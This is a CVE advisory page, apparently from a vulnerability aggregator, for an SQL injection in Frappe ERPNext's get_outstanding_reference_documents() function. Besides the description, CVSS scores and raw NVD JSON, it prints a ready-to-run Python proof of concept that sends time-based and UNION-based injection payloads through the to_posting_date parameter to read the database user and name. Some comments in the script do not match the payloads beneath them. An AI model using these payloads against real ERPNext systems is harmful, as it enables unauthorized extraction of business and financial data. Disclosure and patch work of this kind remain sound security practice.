Security Vulnerability Report
中文
CVE-2025-66440 CVSS 8.8 HIGH

CVE-2025-66440

Published: 2025-12-15 18:15:49
Last Modified: 2026-01-05 18:23:40

Description

An issue was discovered in Frappe ERPNext through 15.89.0. Function get_outstanding_reference_documents() at erpnext/accounts/doctype/payment_entry/payment_entry.py is vulnerable to SQL Injection. It allows an attacker to extract arbitrary data from the database by injecting SQL payloads via the to_posting_date parameter, which is directly interpolated into the query without proper sanitization or parameter binding.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
Frappe ERPNext < 15.89.0
Frappe ERPNext 15.x 所有版本
Frappe Framework (底层框架可能受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-66440 SQL Injection PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.89.0 # Vulnerability: SQL Injection in get_outstanding_reference_documents() # Parameter: to_posting_date TARGET_URL = "http://target-erp.local/api/method/erpnext.accounts.doctype.payment_entry.payment_entry.get_outstanding_reference_documents" # Authentication headers - requires low privilege user session HEADERS = { "Content-Type": "application/json", "Cookie": "sid=<your_session_cookie>" # Replace with valid session } # SQL Injection payload to extract database version # Using time-based blind SQL injection technique PAYLOADS = [ # Extract database user { "to_posting_date": "2025-01-01' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- ", "account": "Debtors - AC", "party_type": "Customer", "party": "_Test Customer" }, # Union-based injection example { "to_posting_date": "2025-01-01' UNION SELECT 1,2,3,4,user(),6,7,8,9,10,11,12-- ", "account": "Debtors - AC", "party_type": "Customer", "party": "_Test Customer" }, # Extract database name { "to_posting_date": "2025-01-01' UNION SELECT 1,database(),3,4,5,6,7,8,9,10,11,12-- ", "account": "Debtors - AC", "party_type": "Customer", "party": "_Test Customer" } ] def exploit(): print("[+] CVE-2025-66440 SQL Injection PoC") print("[+] Target:", TARGET_URL) for i, payload in enumerate(PAYLOADS): print(f"\n[*] Testing payload {i+1}...") try: response = requests.post( TARGET_URL, headers=HEADERS, json=payload, timeout=30 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: data = response.json() if "message" in data: print("[+] Potential data extraction detected") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66440", "sourceIdentifier": "[email protected]", "published": "2025-12-15T18:15:48.663", "lastModified": "2026-01-05T18:23:39.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Frappe ERPNext through 15.89.0. Function get_outstanding_reference_documents() at erpnext/accounts/doctype/payment_entry/payment_entry.py is vulnerable to SQL Injection. It allows an attacker to extract arbitrary data from the database by injecting SQL payloads via the to_posting_date parameter, which is directly interpolated into the query without proper sanitization or parameter binding."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.89.0", "matchCriteriaId": "DAA2FB4F-48C5-4BA5-A15F-175B8A752866"}]}]}], "references": [{"url": "https://github.com/frappe/frappe/security", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://iamanc.github.io/post/erpnext-sqli", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}